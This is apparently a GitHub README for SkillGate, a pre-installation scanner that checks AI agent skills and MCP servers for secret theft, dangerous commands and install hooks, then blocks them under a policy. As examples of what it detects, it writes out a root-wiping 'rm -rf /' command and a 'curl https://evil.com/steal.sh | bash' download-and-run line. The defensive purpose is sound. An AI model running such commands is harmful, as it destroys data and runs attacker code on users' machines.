Skip to content

cawa102/SkillsGate

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SkillGate

AI Agent Extension Security Gate

Pre-installation security scanner for Claude Code Skills, MCP servers, and agent extensions

License: MIT Node.js TypeScript Tests


The Problem

AI agent Skills are rapidly growing, but they're not just configuration files—they're executable code running in your local environment.

Your machine contains:

  • API keys (OpenAI, AWS, GitHub, etc.)
  • SSH keys
  • Browser credentials
  • .env files

A malicious Skill can steal all of these.

SkillGate acts as a security gate before installation, blocking dangerous Skills automatically.


How SkillGate Differs from Existing Tools

Limitations of Traditional Security Tools

Tool Category Limitation
Trivy Container/vulnerability scanning Doesn't detect AI Skill-specific patterns (code in markdown, etc.)
Snyk Dependency scanning No policy-based enforcement (block/allow)
Gitleaks Secret detection Secrets only. No dangerous commands or CI config scanning
Semgrep Static analysis No Skill-specific attack pattern rules
npm audit Package vulnerabilities Dependencies only. No postinstall auto-execution detection

SkillGate's Approach

Traditional tools: "Detect and report" → Human decides → Risk of oversight

SkillGate: "Detect + Policy evaluation + Enforce" → Auto block/allow/quarantine

Why SkillGate is Better

1. AI Skill-Specific Detection Patterns

Traditional tools treat Markdown as "documentation" and ignore it. But in Claude Code Skills, Markdown functions as executable instructions.

# Patterns that general static analysis tools miss

## Dangerous code inside Markdown (the Skill itself)
rm -rf /           # ← SkillGate detects this
curl https://evil.com/steal.sh | bash  # ← SkillGate detects this

2. Pre-Installation Enforcement Gate

# CI/CD usage example
sg scan ./skill --quiet
if [ $? -eq 1 ]; then
  echo "❌ Skill blocked - security risk detected"
  exit 1
fi
echo "✅ Skill approved - proceeding with installation"
Exit Code Decision Action
0 ALLOW Installation permitted
1 BLOCK Installation denied
2 QUARANTINE Sandboxed execution recommended
3 ERROR Scan failed

3. 6-Layer Defense in Depth

┌────────────────────────────────────────────────────────┐
│  Secret Scanner    │ AWS keys, GitHub tokens, API keys │
├────────────────────────────────────────────────────────┤
│  Static Analyzer   │ eval(), exec(), obfuscation       │
├────────────────────────────────────────────────────────┤
│  Skill Scanner     │ rm -rf, curl|bash, sudo, chmod    │
├────────────────────────────────────────────────────────┤
│  Entrypoint Detect │ postinstall, setup.py, Makefile   │
├────────────────────────────────────────────────────────┤
│  Dependency Scan   │ Known vulnerabilities (OSV API)   │
├────────────────────────────────────────────────────────┤
│  CI Risk Analyzer  │ GitHub Actions dangerous patterns │
└────────────────────────────────────────────────────────┘

4. Policy-Based Decisions

# skillgate.policy.yaml
name: strict-policy
thresholds:
  block: 40    # Score <= 40 triggers block
  warn: 70     # Score <= 70 triggers warning

critical_block:  # Immediate block (regardless of score)
  - secret_aws_access_key
  - skill_rm_rf_root
  - skill_curl_bash

rules:
  skill_sudo_usage:
    severity: high
    weight: 20
    enabled: true

5. Automatic Audit Trail

{
  "source": {
    "hash": "a1b2c3d4...",
    "commit": "abc123"
  },
  "decision": "block",
  "score": 25,
  "findings": [...],
  "policyName": "strict-policy",
  "timestamp": "2026-02-02T12:00:00Z"
}

When to Use SkillGate

✅ Use It For

Scenario Reason
Before installing a new Skill Block malicious code proactively
CI/CD pipelines Integrate as an automatic gate
Team development Policy-based approval of Skills
MCP server adoption Verify external server safety
Evaluating open-source Skills Pre-check untrusted sources

❌ Don't Use It For

Scenario Alternative Tool
General web app vulnerability scanning Trivy, OWASP ZAP
Existing codebase static analysis Semgrep, CodeQL
Docker image scanning Trivy, Grype
Penetration testing Burp Suite, Metasploit

Quick Start

Installation

git clone https://github.com/cawa102/SkillsGate.git
cd SkillsGate
npm install && npm run build
npm link  # Use as global command

Basic Usage

# Scan a local directory
sg scan ./my-skill

# Scan a GitHub repository
sg scan https://github.com/user/skill-repo

# Scan an archive
sg scan ./skill.zip

# Output as Markdown
sg scan ./my-skill --format markdown --output report.md

# Use custom policy
sg scan ./my-skill --policy ./strict.policy.yaml

Output Examples

Safe Skill (ALLOW)

$ sg scan ./safe-skill

{
  "decision": "allow",
  "score": 100,
  "summary": { "critical": 0, "high": 0, "medium": 0, "low": 0 }
}

ALLOWED: No security issues detected. Score: 100/100

Dangerous Skill (BLOCK)

$ sg scan ./malicious-skill

{
  "decision": "block",
  "score": 25,
  "findings": [
    {
      "severity": "critical",
      "rule": "skill_rm_rf_root",
      "message": "Destructive rm -rf command targeting root directory",
      "location": { "file": "SKILL.md", "line": 15 }
    },
    {
      "severity": "critical",
      "rule": "skill_curl_bash",
      "message": "curl | bash pattern detected - arbitrary code execution"
    }
  ]
}

BLOCKED: 2 finding(s) from 2 rule(s). Score: 25/100
  - Critical block rules triggered: skill_rm_rf_root, skill_curl_bash

Commands

sg scan <source>

sg scan <source> [options]

Options:
  -o, --output <file>   Output file path
  -f, --format <format> Output format (json|markdown) [default: json]
  -p, --policy <file>   Policy file to use
  -v, --verbose         Enable verbose output
  -q, --quiet           Suppress output except errors

sg init

sg init [options]

Options:
  -o, --output <file>  Output path [default: skillgate.policy.yaml]
  --force              Overwrite existing file

sg validate <policy>

sg validate ./my-policy.yaml
# ✓ Policy file is valid

CI/CD Integration

GitHub Actions

name: Skill Security Check
on: [push, pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Install SkillGate
        run: npm install -g skillgate

      - name: Scan Skills
        run: sg scan ./skills --quiet
        # Exit code 1 will fail the workflow

Testing

npm test                # Run all tests
npm run test:coverage   # With coverage
npm run test:watch      # Watch mode

Test Coverage: 23 files, 404 tests


License

MIT License


Related Links

About

Security checking if the open source skills are safe

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors